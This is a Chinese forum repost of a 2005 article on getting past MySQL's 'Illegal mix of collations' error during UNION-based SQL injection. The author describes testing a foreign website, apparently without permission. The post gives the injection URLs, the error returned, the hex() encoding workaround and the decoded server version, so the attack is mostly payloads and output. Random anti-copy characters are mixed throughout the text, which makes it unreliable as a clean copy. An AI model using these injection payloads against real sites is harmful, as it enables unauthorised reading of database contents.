找回密码
 立即注册
查看: 2697|回复: 0
打印 上一主题 下一主题

MySQL注射时ErrorNo.1267的突破

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:04:54 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
本文作者:SuperHei
; a7 v8 \$ t2 g. V2 o3 p文章性质:原创: I' ?, Y8 w' k) {9 n8 K
发布日期:2005-10-18
9 e" n- R8 w4 R0 L% I+ ]5 H测试个国外的站时:
. z" V2 t9 H9 q( T' ^url:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*# h; w9 W" V4 N: A7 H8 r
返回错误:
" ], s6 U1 B5 Q1 qIllegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
4 l) v2 |$ [8 w1 l. ]MySQL Error No. 126
3 k7 n5 `* A9 L' ~5 {9 f看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。9 n) @5 l, q# B; G& k! I1 ^
解决办法:转为其他编码如hex。
* L. N' m4 _7 @: U' N- u' J7 Purl:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*
4 I3 [' R* E. J5 l% Z成功得到hex(version())的值为:
$ h3 `; N+ Y+ g" _" m7 P: o" Y+ J342E312E332D62657461
8 a* F9 Z, ]$ c7 m# T回Mysql查询下得到:0 w. r$ h& n2 g# x" Y
mysql> select 0x342E312E332D62657461;$ Y1 Q( E2 t! {, j; x  _( v& ]% T& U
+------------------------+
/ T# [/ ?5 r. L  ~8 [$ q| 0x342E312E332D62657461 |
6 T# S% a& g! K: l, d% Z+------------------------+, R+ a( d# J0 @0 v; L( N- ?
| 4.1.3-beta |
$ ]) Y0 v) v- D' H+------------------------+
; D+ s" E) X) g$ n7 ?1 row in set (0.00 sec), P& f2 P! p2 B: Q7 g) ~0 @

% w8 B. x& J* K5 X
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表